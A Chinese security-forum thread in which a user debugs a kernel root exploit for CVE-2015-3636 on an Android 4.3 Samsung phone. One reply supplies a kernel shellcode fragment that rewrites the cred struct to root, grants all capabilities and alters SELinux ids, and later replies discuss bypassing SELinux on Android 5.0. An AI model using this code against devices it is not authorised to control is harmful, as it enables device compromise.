首页
社区
课程
招聘
[求助]手机root提权问题求助
发表于: 2016-2-18 21:40 6508

[求助]手机root提权问题求助

2016-2-18 21:40
6508
手机SM-G3588V,Android版本4.3,内核版本3.4.0。执行漏洞提权后,进程的用户已经从shell变成root,但是在运行/system/bin/sh的时候,errno总是13。我查了下,linux上13表示Permission denied。可是,目前进程的用户已经是root了,这是为什么呢?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (17)
雪    币: 47
活跃值: (418)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
用的是哪个漏洞
2016-2-19 09:57
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
20153636
2016-2-19 10:41
0
雪    币: 107
活跃值: (1683)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
/system/bin/sh 所有用户都会有执行权限.
2016-2-19 14:46
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
是啊,在漏洞触发之前调用都没有问题。漏洞触发后,使用execl运行/system/bin/sh,就会返回值-1,此时errno=13
2016-2-19 15:59
0
雪    币: 47
活跃值: (418)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
6
楼主,可否一起探讨这个漏洞^=^,geneblue.mail@gmail.com
2016-3-1 14:23
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
这是因为的你shellcode 写的有问题。。不光是要修改GID UID等值,,有一个结构体*security; 的指针 也必须要设置。。否则将出现无权限的情况,,我把代码贴给你。。直接改下就OK
        struct task_security_struct *security;
        if (cred != NULL) {
                cred->uid = 0;
                cred->gid = 0;
                cred->suid = 0;
                cred->sgid = 0;
                cred->euid = 0;
                cred->egid = 0;
                cred->fsuid = 0;
                cred->fsgid = 0;

                cred->cap_inheritable.cap[0] = 0xffffffff;
                cred->cap_inheritable.cap[1] = 0xffffffff;
                cred->cap_permitted.cap[0] = 0xffffffff;
                cred->cap_permitted.cap[1] = 0xffffffff;
                cred->cap_effective.cap[0] = 0xffffffff;
                cred->cap_effective.cap[1] = 0xffffffff;
                cred->cap_bset.cap[0] = 0xffffffff;
                cred->cap_bset.cap[1] = 0xffffffff;

                security = cred->security;
                if (security) {
                        if (security->osid != 0
                                && security->sid != 0
                                && security->exec_sid == 0
                                && security->create_sid == 0
                                && security->keycreate_sid == 0
                                && security->sockcreate_sid == 0) {
                                        security->osid = 1;
                                        security->sid = 1;
                                        g_test = 10;
                        }
                }
2016-3-1 15:29
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
还有。一点 要注意。。就是你调用/system/bin/sh 的时候。。。你自己进程的父进程ID 必须为1(init进程)
2016-3-1 15:30
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
非常非常感谢,我先试试
2016-3-2 14:07
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
按照这种方法,4.3可以了。可是我把系统升级到5.0后,又开始报同样的错误啦
2016-3-4 07:25
0
雪    币: 138
活跃值: (460)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
5.0 以后 可能是SELinux 导致的
可以尝试在install-recovery.sh 中启动daemon ,并为sepolicy打补丁;

详细做法可以参考 chainfire 的supersu
2016-3-4 09:03
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
5.0SELINUX 的问题。。。如果你先有权限的情况下,,可以直接关闭掉SElinux
2016-3-4 14:59
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
我是了setenforce 0,返回失败;是要用其它搜索内存地址的方法关闭吗?
2016-3-4 15:15
0
雪    币: 42
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
请教下大神,你的20153636漏洞是如何应用的,我下载github上代码后只有.c 问Android.mk文件,由于对安卓开发真心不熟悉,请教下如何使用这个代码?我qq:1078285863   先感谢大哥了
2016-3-9 10:56
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
2015-3636 ping_unhash漏洞 一个典型的UAF漏洞。。。指针引用 释放的问题。。。
git的代码 直接用 android ndk 编译。。。那份代码 在一部分机器上  是可以跑成功的。。。只是成功率 不太高
2016-3-11 10:20
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
你是自己 研究的 还是在公司上班?  有兴趣 搞漏洞挖掘 和分析的话,,可以来我公司。。。
2016-3-11 11:46
0
雪    币: 26
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
我目前自由职业,主要做手机数据恢复。对漏洞挖掘、分析感兴趣,就是这方面的基础不扎实
2016-3-16 12:33
0
雪    币: 6
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习一下
2016-3-16 12:53
0
游客
登录 | 注册 方可回帖
返回
//